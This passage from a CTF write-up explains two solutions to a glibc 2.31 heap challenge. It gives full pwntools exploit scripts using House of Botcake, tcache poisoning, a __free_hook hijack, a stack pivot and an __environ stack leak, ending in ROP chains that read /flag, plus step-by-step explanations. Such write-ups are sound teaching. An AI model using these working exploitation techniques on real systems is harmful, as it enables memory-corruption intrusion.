add(7, 1, p64(gadget)[:-1]) # write gadget to __free_hook
# ----- 4 ----- Pivot stack to heap
stack_addr = heap_addr + 0x900 # chunk 6 description field
# set rbp = chunk 6 description
pl=flat({
0x0: '/flag\x00',
0x38: stack_addr, # -> mov rbp, [rdi + 0x48];
# @chunk6, rax=[heap_addr+0x918]
0x40: leave_r, # call [rax + 0x28]
}, filler='\0')
edit(0, pl) # chunk 7
# ----- 5 ----- ORW ROP chain on fakestack (chunk 6 description)
pl=flat({
# after leave_r
0x0: ret,
0x8: add_rsp_0x18_r, # rsp+0x20 -> jump to ORW chain
0x10: add_rsp_0x18_r, # junk
# call [rax + 0x28] = @leave_r on chunk 6 description
0x18: heap_addr + 0xa50 - 0x28, # rax value for gadget
# orw chains
# open
0x28: p_rdi_r,
0x30: heap_addr + 0xa10, # '/flag\x00'
0x38: p_rsi_r,
0x40: 0,
0x48: open_addr,
# read
0x50: p_rdi_r,
0x58: 4, # file descriptor returned by open
0x60: p_rsi_r,
0x68: heap_addr + 0x3d0,
0x70: p_rdx_r12_r,
0x78: 30,
0x80: 30,
0x88: read_addr,
# write
0x90: p_rdi_r,
0x98: heap_addr + 0x3d0,
0xa0: puts,
}, filler='\0')
edit(6, pl)
# # ----- 6 ----- Trigger
# gdb.attach(p)
free(0)
p.interactive()
if __name__ == '__main__':
file_path = './pwn'
libc_path = './libc-2.31.so'
ld_path = './ld-2.31.so'
context(arch="amd64", os="linux", endian="little")
# context.log_level="debug"
e = ELF(file_path, checksec=False)
mode = {"local": False, "remote": False, }
env = None
if len(sys.argv) > 1:
if libc_path != '':
libc = ELF(libc_path)
p = remote(sys.argv[1], int(sys.argv[2]))
mode["remote"] = True
remote_ip_addr = sys.argv[1]
remote_port = int(sys.argv[2])
else:
if libc_path != '':
libc = ELF(libc_path)
env = {'LD_PRELOAD': libc_path}
if ld_path != '':
cmd = [ld_path, '--library-path', os.path.dirname(os.path.abspath(libc_path)), file_path]
p = process(cmd, env=env)
else:
p = process(file_path, env=env)
mode["local"] = True
exploit()
GDB to Explain
The addresses depicted in the picture is inconsistent, but with fixed offset to refer. Because of ASLR & PIE, and we cropped screenshots in different processes.
Step 1: Leak Heap Address
Pretty much the same as Solution 1, but more simple using with the change_gender
function.
Step 2: Leak Libc Address
Double free > Leak unsorted bin address > Calculate libc base address:
Step 3: Write Gadget into __free_hook
To find out the vcudp_reply+26
gadget:
ropper --file ./libc-2.31.so --search 'mov rbp'
To trigger this gadget to work, we write it to the __free_hook
:
Step 4: Deploy Stack Pivot
After triggering the vcudp_reply+26
gadget, it will first mov rbp [rdi+0x48]
to pivot stack — move it to the description field of chunk 6, where we can freely write. And it will call [rax + 0x28]
at last — make the destination store the gadget leave; ret
(mov rsp, rbp; pop rbp) to perform stack pivot:
Step 5: Stack Pivot & ORW ROP chain
When the vcudp_reply+26
gadget is executed, it runs mov rax, [rbp+0x18]
,where rax
stores the new pivoted stack rbp
. And we just need to make [rbp+0x18]
store the value of the address where stores the leave; ret
gadget to trigger that stack pivot operation:
The ORW part is pretty the same as Solution 1. We just use the gadget add rsp 0x18; ret
to add rsp
with a value of 0x20 to the beginning of the ORW chain.
Step 6: Trigger
Free chunk 7 (index 0) to trigger Free > Hijacked __free_hook
> vcudp_reply+26
Gadget > Stack Pivot > Run ORW ROP chain — the file of name /flag
will be open, then read into a free space and output by the puts
function:
We will have the flag on the standard output:
Solution 3 | Leak Stack via environ
When we are able leak stack address, the solution can be even more simple — that we don't have to use magic gadgets to perform stack pivot to hijack the stack frame to heap.
The mentioned approach refers to a method for leaking the stack address by accessing the __environ
symbol in the Glibc library. The stack address is often stored in the __environ
variable, which is used to hold environment variables in memory.
Global Var | __environ
__environ
is a global variable in Glibc that stores a pointer to the environment variables of the process:
- Since this pointer resides on the stack, it can be used as a way to leak the stack address.
- By reading or printing the contents of
__environ
, we can obtain an address pointing to a location on the stack.
We can perform the leak by:
- Find and dereference
__environ
. - Using GOT (Global Offset Table) or PLT (Procedure Linkage Table) resolution, we can access the memory location of
__environ
during runtime and leak the stack address.
Using Pwntools:
environ_addr = elf.symbols['__environ']
Then we can calculate the offset for the specific stack addresses.
For example, in our case, the pointer stored in __environ
is exactly 0xf8 offset to the return address in main
function.
EXP to Explain
from pwn import *
[Omit the custom functions]
def exploit():
# ----- 1 ----- House of Botcake: leak libc、heap、environ
# leak libc & __environ
for i in range(10):
add(i, 1, 'aaaa')
for i in range(7):
free(6 - i)
free(7)
free(8)
add(0, 1, 'aaaa')
free(8)
add(0, 1, 'aaaa')
for i in range(1,8):
add(i,1,'aaaa')
show(0)
libc_base = l64() - 0x1ebbe0
environ = libc_base + libc.sym['__environ']
# leak stack
add(8, 1, 'aaaa')
free(9)
free(8)
rename(0, p64(environ-0x10)[:-1])
add(8,1,'aaaa')
add(9,1,'aaaa')
show(9)
stack_addr = uu64(ru('\x7f',False)[-6:])
main_ret = stack_addr - 0xf8
pa('libc base', libc_base)
pa('__environ', environ)
pa('stack addr stored in __environ', stack_addr)
pa('main ret addr', main_ret)
# ----- 2 ----- Tcache poison: Write controlled heap to main return
free(7)
free(8)
show(0)
ru('Name: ')
heap_addr = uu64(r(6))-0xa10
rename(0,p64(main_ret-0x10)[:-1]) # edit description field (addr+0x10)
add(8, 1, '/flag\x00\x00') # chunk 8
add(7, 1, p64(0xdeadbeef)[:-1]) # stack
pa('leaked heap addr', heap_addr)
# ----- 3 ----- Deploy ORW ROP chain
p_rsi_r = libc_base + 0x27529
p_rdi_r = libc_base + 0x26b72
p_rdx_r12_r = libc_base + 0x11c1e1
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts = libc_base + libc.sym['puts']
# orw chains
pl = flat({
# open
0x0: p_rdi_r,
0x8: heap_addr + 0xb20, # file name on chunk 8
0x10: p_rsi_r,
0x18: 0,
0x20: open_addr,
# read
0x28: p_rdi_r,
0x30: 4,
0x38: p_rsi_r,
0x40: heap_addr + 0x3d0, # empty space
0x48: p_rdx_r12_r,
0x50: 30,
0x58: 30,
0x60: read_addr,
# write
0x68: p_rdi_r,
0x70: heap_addr + 0x3d0,
0x78: puts,
}, filler='\0')
edit(7,pl)
# ----- 4 ----- Trigger: Quit to main return
myquit()
p.interactive()
if __name__ == '__main__':
file_path = './pwn'
libc_path = './libc-2.31.so'
ld_path = './ld-2.31.so'
context(arch="amd64", os="linux", endian="little")
# context.log_level="debug"
e = ELF(file_path, checksec=False)
mode = {"local": False, "remote": False, }
env = None
if len(sys.argv) > 1:
if libc_path != '':
libc = ELF(libc_path)
p = remote(sys.argv[1], int(sys.argv[2]))
mode["remote"] = True
remote_ip_addr = sys.argv[1]
remote_port = int(sys.argv[2])
else:
if libc_path != '':
libc = ELF(libc_path)
env = {'LD_PRELOAD': libc_path}
if ld_path != '':
cmd = [ld_path, '--library-path', os.path.dirname(os.path.abspath(libc_path)), file_path]
p = process(cmd, env=env)
else:
p = process(file_path, env=env)
mode["local"] = True
exploit()
GDB to Explain
The addresses depicted in the picture is inconsistent, but with fixed offset to refer. Because of ASLR & PIE, and we cropped screenshots in different processes.
#### Step 1: Leak Libc, Heap, Environ
Nothing special compared to previous solutions. Using House of Botcake again, we here leak an extra address of __environ
in Glibc, and calculate the main return address on the stack through a specific offset:
Step 2: Hijack Stack Ret to Heap
Using Tcache Poisoning technique, write the controlled heap address to the main return address on stack — once the we quit main
, it returns to the heap where we deploy the ORW ROP chain later:
Malloc twice, chunk is then allocated on stack with an entry 0x10 beyond our target return address:
Step 3: Deploy ORW ROP Chain
Same technique we used in previous solutions. We just deploy the ROP chain on stack in this case:
Flag will be output:
Comments | NOTHING